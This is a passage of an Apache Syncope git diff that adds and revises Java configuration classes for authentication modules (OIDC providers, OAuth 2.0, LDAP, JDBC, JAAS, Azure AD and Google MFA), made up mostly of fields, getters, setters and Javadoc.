PT6D, P2DT3H4M. + * If the value is set to 0 or never, the duration will be set to zero. If the value is blank, set to -1, or + * infinite, the value will effectively represent an unending duration. + */ + protected String tokenExpirationAdvance; + + public String getDiscoveryUri() { + return discoveryUri; + } + + public void setDiscoveryUri(final String discoveryUri) { + this.discoveryUri = discoveryUri; + } + + public boolean isUseNonce() { + return useNonce; + } + + public void setUseNonce(final boolean useNonce) { + this.useNonce = useNonce; + } + + public String getPreferredJwsAlgorithm() { + return preferredJwsAlgorithm; + } + + public void setPreferredJwsAlgorithm(final String preferredJwsAlgorithm) { + this.preferredJwsAlgorithm = preferredJwsAlgorithm; + } + + public String getMaxClockSkew() { + return maxClockSkew; + } + + public void setMaxClockSkew(final String maxClockSkew) { + this.maxClockSkew = maxClockSkew; + } + + public String getResponseMode() { + return responseMode; + } + + public void setResponseMode(final String responseMode) { + this.responseMode = responseMode; + } + + public boolean isExpireSessionWithToken() { + return expireSessionWithToken; + } + + public void setExpireSessionWithToken(final boolean expireSessionWithToken) { + this.expireSessionWithToken = expireSessionWithToken; + } + + public String getTokenExpirationAdvance() { + return tokenExpirationAdvance; + } + + public void setTokenExpirationAdvance(final String tokenExpirationAdvance) { + this.tokenExpirationAdvance = tokenExpirationAdvance; + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AppleOIDCAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AppleOIDCAuthModuleConf.java new file mode 100644 index 00000000000..cc1ce7a80d4 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AppleOIDCAuthModuleConf.java @@ -0,0 +1,88 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.auth; + +import java.util.Map; +import org.apache.syncope.common.lib.to.AuthModuleTO; + +public class AppleOIDCAuthModuleConf extends AbstractOIDCAuthModuleConf implements AuthModuleConf { + + private static final long serialVersionUID = -471527731042579522L; + + /** + * Client secret expiration timeout. + * This settings supports the java.time.Duration syntax. + */ + protected String timeout = "PT30S"; + + /** + * Apple team identifier. + * Usually, 10 character string given to you by Apple. + */ + protected String teamId; + + /** + * Private key obtained from Apple. + * Must point to a resource that resolved to an elliptic curve (EC) private key. + */ + protected String privateKey; + + /** + * The identifier for the private key. + * Usually the 10 character Key ID of the private key you create in Apple. + */ + protected String privateKeyId; + + public String getTimeout() { + return timeout; + } + + public void setTimeout(final String timeout) { + this.timeout = timeout; + } + + public String getPrivateKey() { + return privateKey; + } + + public void setPrivateKey(final String privateKey) { + this.privateKey = privateKey; + } + + public String getPrivateKeyId() { + return privateKeyId; + } + + public void setPrivateKeyId(final String privateKeyId) { + this.privateKeyId = privateKeyId; + } + + public String getTeamId() { + return teamId; + } + + public void setTeamId(final String teamId) { + this.teamId = teamId; + } + + @Override + public Map map(final AuthModuleTO authModule, final Mapper mapper) { + return mapper.map(authModule, this); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AuthModuleConf.java index bb08dc9c149..7666975eff2 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AuthModuleConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AuthModuleConf.java @@ -36,12 +36,26 @@ interface Mapper { Map map(AuthModuleTO authModule, JaasAuthModuleConf conf); + Map map(AuthModuleTO authModule, OAuth20AuthModuleConf conf); + Map map(AuthModuleTO authModule, OIDCAuthModuleConf conf); + Map map(AuthModuleTO authModule, AzureOIDCAuthModuleConf conf); + + Map map(AuthModuleTO authModule, GoogleOIDCAuthModuleConf conf); + + Map map(AuthModuleTO authModule, KeycloakOIDCAuthModuleConf conf); + + Map map(AuthModuleTO authModule, AppleOIDCAuthModuleConf conf); + Map map(AuthModuleTO authModule, SAML2IdPAuthModuleConf conf); Map map(AuthModuleTO authModule, SyncopeAuthModuleConf conf); + Map map(AuthModuleTO authModule, AzureActiveDirectoryAuthModuleConf conf); + + Map map(AuthModuleTO authModule, X509AuthModuleConf conf); + Map map(AuthModuleTO authModule, GoogleMfaAuthModuleConf conf); Map map(AuthModuleTO authModule, DuoMfaAuthModuleConf conf); @@ -49,6 +63,10 @@ interface Mapper { Map map(AuthModuleTO authModule, U2FAuthModuleConf conf); Map map(AuthModuleTO authModule, SimpleMfaAuthModuleConf conf); + + Map map(AuthModuleTO authModule, SpnegoAuthModuleConf conf); + + Map map(AuthModuleTO authModule, OktaAuthModuleConf conf); } Map map(AuthModuleTO authModule, Mapper mapper); diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AzureActiveDirectoryAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AzureActiveDirectoryAuthModuleConf.java new file mode 100644 index 00000000000..5c0933a7462 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AzureActiveDirectoryAuthModuleConf.java @@ -0,0 +1,52 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.auth; + +import java.util.Map; +import org.apache.syncope.common.lib.AbstractAzureActiveDirectoryConf; +import org.apache.syncope.common.lib.to.AuthModuleTO; + +public class AzureActiveDirectoryAuthModuleConf extends AbstractAzureActiveDirectoryConf implements AuthModuleConf { + + private static final long serialVersionUID = 6053163884651768614L; + + /** + * A number of authentication handlers are allowed to determine whether they can operate on the provided credential + * and as such lend themselves to be tried and tested during the authentication handler selection phase. + * The credential criteria may be one of the following options:
      + *
    • A regular expression pattern that is tested against the credential identifier.
      • + *
    • A fully qualified class name of your own design that implements {@code Predicate}.
      • + *
    • Path to an external Groovy script that implements the same interface.
      • + *
    + */ + private String credentialCriteria; + + public String getCredentialCriteria() { + return credentialCriteria; + } + + public void setCredentialCriteria(final String credentialCriteria) { + this.credentialCriteria = credentialCriteria; + } + + @Override + public Map map(final AuthModuleTO authModule, final Mapper mapper) { + return mapper.map(authModule, this); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AzureOIDCAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AzureOIDCAuthModuleConf.java new file mode 100644 index 00000000000..f1cd5b73f18 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/AzureOIDCAuthModuleConf.java @@ -0,0 +1,50 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.auth; + +import java.util.Map; +import org.apache.syncope.common.lib.to.AuthModuleTO; + +public class AzureOIDCAuthModuleConf extends AbstractOIDCAuthModuleConf implements AuthModuleConf { + + private static final long serialVersionUID = -471527731042579522L; + + /** + * Azure AD tenant name. After tenant is configured, #getDiscoveryUri() property will be overridden. + * + * Azure AD tenant name can take 4 different values: + * - organizations: Only users with work or school accounts from Azure AD can sign in. + * - consumers: Only users with a personal Microsoft account can sign in. + * - Specific tenant domain name or ID: Only user with account under that the specified tenant can login + */ + protected String tenant; + + public String getTenant() { + return tenant; + } + + public void setTenant(final String tenant) { + this.tenant = tenant; + } + + @Override + public Map map(final AuthModuleTO authModule, final Mapper mapper) { + return mapper.map(authModule, this); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/GoogleMfaAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/GoogleMfaAuthModuleConf.java index 0fa3230002e..bbd17cd91d0 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/GoogleMfaAuthModuleConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/GoogleMfaAuthModuleConf.java @@ -20,13 +20,27 @@ import java.io.Serializable; import java.util.Map; +import org.apache.commons.lang3.StringUtils; import org.apache.syncope.common.lib.AbstractLDAPConf; import org.apache.syncope.common.lib.to.AuthModuleTO; +import org.apache.syncope.common.lib.types.OIDCTokenEncryptionEncoding; -public class GoogleMfaAuthModuleConf implements MFAAuthModuleConf { +public class GoogleMfaAuthModuleConf implements MFAAuthModuleConf, LDAPDependantAuthModuleConf { private static final long serialVersionUID = -7883257599139312426L; + public enum CryptoStrategy { + /** + * Encrypt the value first, and then sign. + */ + ENCRYPT_AND_SIGN, + /** + * Sign the value first, and then encrypt. + */ + SIGN_AND_ENCRYPT; + + } + public static class LDAP extends AbstractLDAPConf implements Serializable { private static final long serialVersionUID = -7274446267090678730L; @@ -75,8 +89,48 @@ public void setAccountAttributeName(final String accountAttributeName) { */ private int windowSize = 3; + /** + * Whether crypto operations are enabled. + */ + private boolean enableCrypto = true; + + /** + * The signing/encryption algorithm to use. + */ + private OIDCTokenEncryptionEncoding cryptoAlgorithm = OIDCTokenEncryptionEncoding.A256CBC_HS512; + + /** + * Control the cipher sequence of operations. + */ + private CryptoStrategy cryptoStrategy = CryptoStrategy.ENCRYPT_AND_SIGN; + + /** + * The signing key size. + */ + private int signingKeySize = 512; + + /** + * The signing key is a JWT whose length is defined by the signing key size setting. + */ + private String signingKey = StringUtils.EMPTY; + + /** + * The encryption key size. + */ + private int encryptionKeySize = 512; + + /** + * The encryption key is a JWT whose length is defined by the encryption key size setting. + */ + private String encryptionKey = StringUtils.EMPTY; + private LDAP ldap; + @Override + public AbstractLDAPConf ldapInstance() { + return new GoogleMfaAuthModuleConf.LDAP(); + } + @Override public String getFriendlyName() { return "Google Authenticator"; @@ -122,6 +176,62 @@ public void setWindowSize(final int windowSize) { this.windowSize = windowSize; } + public boolean isEnableCrypto() { + return enableCrypto; + } + + public void setEnableCrypto(final boolean enableCrypto) { + this.enableCrypto = enableCrypto; + } + + public OIDCTokenEncryptionEncoding getCryptoAlgorithm() { + return cryptoAlgorithm; + } + + public void setCryptoAlgorithm(final OIDCTokenEncryptionEncoding cryptoAlgorithm) { + this.cryptoAlgorithm = cryptoAlgorithm; + } + + public CryptoStrategy getCryptoStrategy() { + return cryptoStrategy; + } + + public void setCryptoStrategy(final CryptoStrategy cryptoStrategy) { + this.cryptoStrategy = cryptoStrategy; + } + + public int getSigningKeySize() { + return signingKeySize; + } + + public void setSigningKeySize(final int signingKeySize) { + this.signingKeySize = signingKeySize; + } + + public String getSigningKey() { + return signingKey; + } + + public void setSigningKey(final String signingKey) { + this.signingKey = signingKey; + } + + public int getEncryptionKeySize() { + return encryptionKeySize; + } + + public void setEncryptionKeySize(final int encryptionKeySize) { + this.encryptionKeySize = encryptionKeySize; + } + + public String getEncryptionKey() { + return encryptionKey; + } + + public void setEncryptionKey(final String encryptionKey) { + this.encryptionKey = encryptionKey; + } + public LDAP getLdap() { return ldap; } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutDataSet.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/GoogleOIDCAuthModuleConf.java similarity index 64% rename from client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutDataSet.java rename to common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/GoogleOIDCAuthModuleConf.java index ab464854fa1..f848f450a74 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutDataSet.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/GoogleOIDCAuthModuleConf.java @@ -16,23 +16,17 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.client.console.chartjs; +package org.apache.syncope.common.lib.auth; -import java.util.List; +import java.util.Map; +import org.apache.syncope.common.lib.to.AuthModuleTO; -/** - * Provides all information needed for {@link DoughnutChartData}. - */ -public class DoughnutDataSet extends BaseDataSet { +public class GoogleOIDCAuthModuleConf extends AbstractOIDCAuthModuleConf implements AuthModuleConf { - private static final long serialVersionUID = 3095383371272813559L; + private static final long serialVersionUID = -471527731042579522L; - /** - * Instantiates a new bar data set. - * - * @param data the values - */ - public DoughnutDataSet(final List data) { - super(data); + @Override + public Map map(final AuthModuleTO authModule, final Mapper mapper) { + return mapper.map(authModule, this); } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/JDBCAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/JDBCAuthModuleConf.java index 6b2d750b09f..33822dd4268 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/JDBCAuthModuleConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/JDBCAuthModuleConf.java @@ -18,8 +18,6 @@ */ package org.apache.syncope.common.lib.auth; -import java.util.ArrayList; -import java.util.List; import java.util.Map; import org.apache.syncope.common.lib.AbstractJDBCConf; import org.apache.syncope.common.lib.to.AuthModuleTO; @@ -44,9 +42,15 @@ public class JDBCAuthModuleConf extends AbstractJDBCConf implements AuthModuleCo private String fieldDisabled; /** - * List of column names to fetch as user attributes. + * A number of authentication handlers are allowed to determine whether they can operate on the provided credential + * and as such lend themselves to be tried and tested during the authentication handler selection phase. + * The credential criteria may be one of the following options:
      + *
    • A regular expression pattern that is tested against the credential identifier.
      • + *
    • A fully qualified class name of your own design that implements {@code Predicate}.
      • + *
    • Path to an external Groovy script that implements the same interface.
      • + *
    */ - private final List principalAttributeList = new ArrayList<>(); + private String credentialCriteria; public String getFieldPassword() { return fieldPassword; @@ -72,8 +76,12 @@ public void setFieldDisabled(final String fieldDisabled) { this.fieldDisabled = fieldDisabled; } - public List getPrincipalAttributeList() { - return principalAttributeList; + public String getCredentialCriteria() { + return credentialCriteria; + } + + public void setCredentialCriteria(final String credentialCriteria) { + this.credentialCriteria = credentialCriteria; } @Override diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/JaasAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/JaasAuthModuleConf.java index c2f2ca94f3f..1b7f010e564 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/JaasAuthModuleConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/JaasAuthModuleConf.java @@ -44,6 +44,17 @@ public class JaasAuthModuleConf implements AuthModuleConf { private String loginConfigurationFile; + /** + * A number of authentication handlers are allowed to determine whether they can operate on the provided credential + * and as such lend themselves to be tried and tested during the authentication handler selection phase. + * The credential criteria may be one of the following options:
      + *
    • A regular expression pattern that is tested against the credential identifier.
      • + *
    • A fully qualified class name of your own design that implements {@code Predicate}.
      • + *
    • Path to an external Groovy script that implements the same interface.
      • + *
    + */ + private String credentialCriteria; + public String getRealm() { return realm; } @@ -84,6 +95,14 @@ public void setLoginConfigurationFile(final String loginConfigurationFile) { this.loginConfigurationFile = loginConfigurationFile; } + public String getCredentialCriteria() { + return credentialCriteria; + } + + public void setCredentialCriteria(final String credentialCriteria) { + this.credentialCriteria = credentialCriteria; + } + @Override public Map map(final AuthModuleTO authModule, final Mapper mapper) { return mapper.map(authModule, this); diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/KeycloakOIDCAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/KeycloakOIDCAuthModuleConf.java new file mode 100644 index 00000000000..a4f464c157d --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/KeycloakOIDCAuthModuleConf.java @@ -0,0 +1,58 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.auth; + +import java.util.Map; +import org.apache.syncope.common.lib.to.AuthModuleTO; + +public class KeycloakOIDCAuthModuleConf extends AbstractOIDCAuthModuleConf implements AuthModuleConf { + + private static final long serialVersionUID = -471527731042579522L; + + /** + * Keycloak realm used to construct metadata discovery URI. + */ + protected String realm; + + /** + * Keycloak base URL used to construct metadata discovery URI. + */ + protected String baseUri; + + public String getRealm() { + return realm; + } + + public void setRealm(final String realm) { + this.realm = realm; + } + + public String getBaseUri() { + return baseUri; + } + + public void setBaseUri(final String baseUri) { + this.baseUri = baseUri; + } + + @Override + public Map map(final AuthModuleTO authModule, final Mapper mapper) { + return mapper.map(authModule, this); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/LDAPAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/LDAPAuthModuleConf.java index a3233d75df4..7221b17de23 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/LDAPAuthModuleConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/LDAPAuthModuleConf.java @@ -18,6 +18,8 @@ */ package org.apache.syncope.common.lib.auth; +import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; +import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; import java.util.ArrayList; import java.util.List; import java.util.Map; @@ -29,27 +31,235 @@ public class LDAPAuthModuleConf extends AbstractLDAPConf implements AuthModuleCo private static final long serialVersionUID = -471527731042579422L; /** - * The attribute value that should be used - * for the authenticated username, upon a successful authentication - * attempt. + * The enum Authentication types. */ - private String userIdAttribute; + public enum AuthenticationType { + + /** + * Active Directory. + */ + AD, + /** + * Authenticated Search. + */ + AUTHENTICATED, + /** + * Direct Bind. + */ + DIRECT, + /** + * Anonymous Search. + */ + ANONYMOUS + + } + + public enum DerefAliasesType { + NEVER, + SEARCHING, + FINDING, + ALWAYS + + } + + /** + * The authentication type. + *
      + *
    • {@code AD} - Users authenticate with {@code sAMAccountName}.
      • + * + *
    • {@code AUTHENTICATED} - Manager bind/search type of authentication. + * If {@code} principalAttributePassword} + * is empty then a user simple bind is done to validate credentials. Otherwise the given + * attribute is compared with the given {@code principalAttributePassword} using + * the {@code SHA} encrypted value of it.
      • + * + *
    • {@code ANONYMOUS}: Similar semantics as {@code AUTHENTICATED} except no {@code bindDn} + * and {@code bindCredential} may be specified to initialize the connection. + * If {@code principalAttributePassword} is empty then a user simple bind is done + * to validate credentials. Otherwise the given attribute is compared with + * the given {@code principalAttributePassword} using the {@code SHA} encrypted value of it.
      • + * + *
    • DIRECT: Direct Bind - Compute user DN from format string and perform simple bind. + * This is relevant when no search is required to compute the DN needed for a bind operation. + * Use cases for this type are: + * 1) All users are under a single branch in the directory, {@code e.g. ou=Users,dc=example,dc=org.} + * 2) The username provided on the CAS login form is part of the DN, e.g. + * {@code uid=%s,ou=Users,dc=example,dc=org}.
      • + * + *
    + */ + private AuthenticationType authenticationType = AuthenticationType.AUTHENTICATED; + + /** + * Specify the dn format accepted by the AD authenticator, etc. + * Example format might be {@code uid=%s,ou=people,dc=example,dc=org}. + */ + private String dnFormat; + + /** + * Whether specific search entry resolvers need to be set + * on the authenticator, or the default should be used. + */ + private boolean enhanceWithEntryResolver = true; + + /** + * Define how aliases are de-referenced. + * Accepted values are: + *
      + *
    • {@code NEVER}
      • + *
    • {@code SEARCHING}: dereference when searching the entries beneath the starting point but not when searching + * for the starting entry.
      • + *
    • {@code FINDING}: dereference when searching for the starting entry but not when searching the entries beneath + * the starting point.
      • + *
    • {@code ALWAYS}: dereference when searching for the starting entry and when searching the entries beneath the + * starting point.
      • + *
    + */ + private DerefAliasesType derefAliases; + + /** + * If this attribute is set, the value found in the first attribute + * value will be used in place of the DN. + */ + private String resolveFromAttribute; + + /** + * The attribute value that should be used for the authenticated username, upon a successful authentication attempt. + */ + private String principalAttributeId; + + /** + * Name of attribute to be used for principal's DN. + */ + private String principalDnAttributeName = "principalLdapDn"; + + /** + * Sets a flag that determines whether multiple values are allowed for the {@link #principalAttributeId}. + * This flag only has an effect if {@link #principalAttributeId} is configured. If multiple values are detected + * when the flag is false, the first value is used and a warning is logged. If multiple values are detected + * when the flag is true, an exception is raised. + */ + private boolean allowMultiplePrincipalAttributeValues; + + /** + * List of additional attributes to retrieve, if any. + */ + private final List additionalAttributes = new ArrayList<>(); + + /** + * Flag to indicate whether CAS should block authentication + * if a specific/configured principal id attribute is not found. + */ + private boolean allowMissingPrincipalAttributeValue = true; + + /** + * When entry DN should be called as an attribute and stored into the principal. + */ + private boolean collectDnAttribute; /** - * List of attribute names to fetch as user attributes. + * A number of authentication handlers are allowed to determine whether they can operate on the provided credential + * and as such lend themselves to be tried and tested during the authentication handler selection phase. + * The credential criteria may be one of the following options:
      + *
    • A regular expression pattern that is tested against the credential identifier.
      • + *
    • A fully qualified class name of your own design that implements {@code Predicate}.
      • + *
    • Path to an external Groovy script that implements the same interface.
      • + *
    */ - private final List principalAttributeList = new ArrayList<>(); + private String credentialCriteria; + + public AuthenticationType getAuthenticationType() { + return authenticationType; + } + + public void setAuthenticationType(final AuthenticationType authenticationType) { + this.authenticationType = authenticationType; + } + + public String getDnFormat() { + return dnFormat; + } + + public void setDnFormat(final String dnFormat) { + this.dnFormat = dnFormat; + } + + public boolean isEnhanceWithEntryResolver() { + return enhanceWithEntryResolver; + } + + public void setEnhanceWithEntryResolver(final boolean enhanceWithEntryResolver) { + this.enhanceWithEntryResolver = enhanceWithEntryResolver; + } + + public DerefAliasesType getDerefAliases() { + return derefAliases; + } + + public void setDerefAliases(final DerefAliasesType derefAliases) { + this.derefAliases = derefAliases; + } + + public String getResolveFromAttribute() { + return resolveFromAttribute; + } + + public void setResolveFromAttribute(final String resolveFromAttribute) { + this.resolveFromAttribute = resolveFromAttribute; + } + + public String getPrincipalAttributeId() { + return principalAttributeId; + } + + public void setPrincipalAttributeId(final String principalAttributeId) { + this.principalAttributeId = principalAttributeId; + } + + public String getPrincipalDnAttributeName() { + return principalDnAttributeName; + } + + public void setPrincipalDnAttributeName(final String principalDnAttributeName) { + this.principalDnAttributeName = principalDnAttributeName; + } + + @JacksonXmlElementWrapper(localName = "additionalAttributes") + @JacksonXmlProperty(localName = "additionalAttribute") + public List getAdditionalAttributes() { + return additionalAttributes; + } + + public boolean isAllowMultiplePrincipalAttributeValues() { + return allowMultiplePrincipalAttributeValues; + } + + public void setAllowMultiplePrincipalAttributeValues(final boolean allowMultiplePrincipalAttributeValues) { + this.allowMultiplePrincipalAttributeValues = allowMultiplePrincipalAttributeValues; + } + + public boolean isAllowMissingPrincipalAttributeValue() { + return allowMissingPrincipalAttributeValue; + } + + public void setAllowMissingPrincipalAttributeValue(final boolean allowMissingPrincipalAttributeValue) { + this.allowMissingPrincipalAttributeValue = allowMissingPrincipalAttributeValue; + } + + public boolean isCollectDnAttribute() { + return collectDnAttribute; + } - public String getUserIdAttribute() { - return userIdAttribute; + public void setCollectDnAttribute(final boolean collectDnAttribute) { + this.collectDnAttribute = collectDnAttribute; } - public void setUserIdAttribute(final String userIdAttribute) { - this.userIdAttribute = userIdAttribute; + public String getCredentialCriteria() { + return credentialCriteria; } - public List getPrincipalAttributeList() { - return principalAttributeList; + public void setCredentialCriteria(final String credentialCriteria) { + this.credentialCriteria = credentialCriteria; } @Override diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/LDAPDependantAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/LDAPDependantAuthModuleConf.java new file mode 100644 index 00000000000..117455cf6c8 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/LDAPDependantAuthModuleConf.java @@ -0,0 +1,28 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.auth; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import org.apache.syncope.common.lib.AbstractLDAPConf; + +public interface LDAPDependantAuthModuleConf extends AuthModuleConf { + + @JsonIgnore + AbstractLDAPConf ldapInstance(); +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/OAuth20AuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/OAuth20AuthModuleConf.java new file mode 100644 index 00000000000..dfbe574dddb --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/OAuth20AuthModuleConf.java @@ -0,0 +1,93 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.auth; + +import java.util.LinkedHashMap; +import java.util.Map; +import org.apache.syncope.common.lib.to.AuthModuleTO; + +public class OAuth20AuthModuleConf extends AbstractOAuth20AuthModuleConf implements AuthModuleConf { + + private static final long serialVersionUID = 299820485764241682L; + + protected String authUrl; + + protected String profileUrl; + + protected Map profileAttrs = new LinkedHashMap<>(); + + protected boolean withState; + + protected String profilePath; + + protected String profileVerb = "POST"; + + public String getAuthUrl() { + return authUrl; + } + + public void setAuthUrl(final String authUrl) { + this.authUrl = authUrl; + } + + public Map getProfileAttrs() { + return profileAttrs; + } + + public void setProfileAttrs(final Map profileAttrs) { + this.profileAttrs = profileAttrs; + } + + public boolean isWithState() { + return withState; + } + + public void setWithState(final boolean withState) { + this.withState = withState; + } + + public String getProfilePath() { + return profilePath; + } + + public void setProfilePath(final String profilePath) { + this.profilePath = profilePath; + } + + public String getProfileUrl() { + return profileUrl; + } + + public void setProfileUrl(final String profileUrl) { + this.profileUrl = profileUrl; + } + + public String getProfileVerb() { + return profileVerb; + } + + public void setProfileVerb(final String profileVerb) { + this.profileVerb = profileVerb; + } + + @Override + public Map map(final AuthModuleTO authModule, final Mapper mapper) { + return mapper.map(authModule, this); + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/OIDCAuthModuleConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/OIDCAuthModuleConf.java index b4899dec51e..0ea9339c3b3 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/OIDCAuthModuleConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/auth/OIDCAuthModuleConf.java @@ -18,153 +18,12 @@ */ package org.apache.syncope.common.lib.auth; -import java.util.HashMap; import java.util.Map; import org.apache.syncope.common.lib.to.AuthModuleTO; -public class OIDCAuthModuleConf extends Pac4jAuthModuleConf implements AuthModuleConf { +public class OIDCAuthModuleConf extends AbstractOIDCAuthModuleConf implements AuthModuleConf { - private static final long serialVersionUID = -471527731042579422L; - - /** - * The client id. - */ - protected String clientId; - - /** - * The client secret. - */ - protected String clientSecret; - - /** - * The attribute value that should be used for the authenticated username, upon a successful authentication attempt. - */ - protected String userIdAttribute; - - protected String discoveryUri; - - /** - * Whether an initial nonce should be to used - * initially for replay attack mitigation. - */ - protected boolean useNonce; - - /** - * Requested scope(s). - */ - protected String scope; - - /** - * The JWS algorithm to use forcefully when validating ID tokens. - * If none is defined, the first algorithm from metadata will be used. - */ - protected String preferredJwsAlgorithm; - - /** - * Clock skew in order to account for drift, when validating id tokens. - */ - protected String maxClockSkew; - - /** - * Custom parameters to send along in authZ requests, etc. - */ - protected final Map customParams = new HashMap<>(0); - - /** - * The response mode specifies how the result of the authorization request is formatted. - * Possible values includes "query", "fragment", "form_post", or "web_message" - */ - protected String responseMode; - - /** - * The response type tells the authorization server which grant to execute. - * 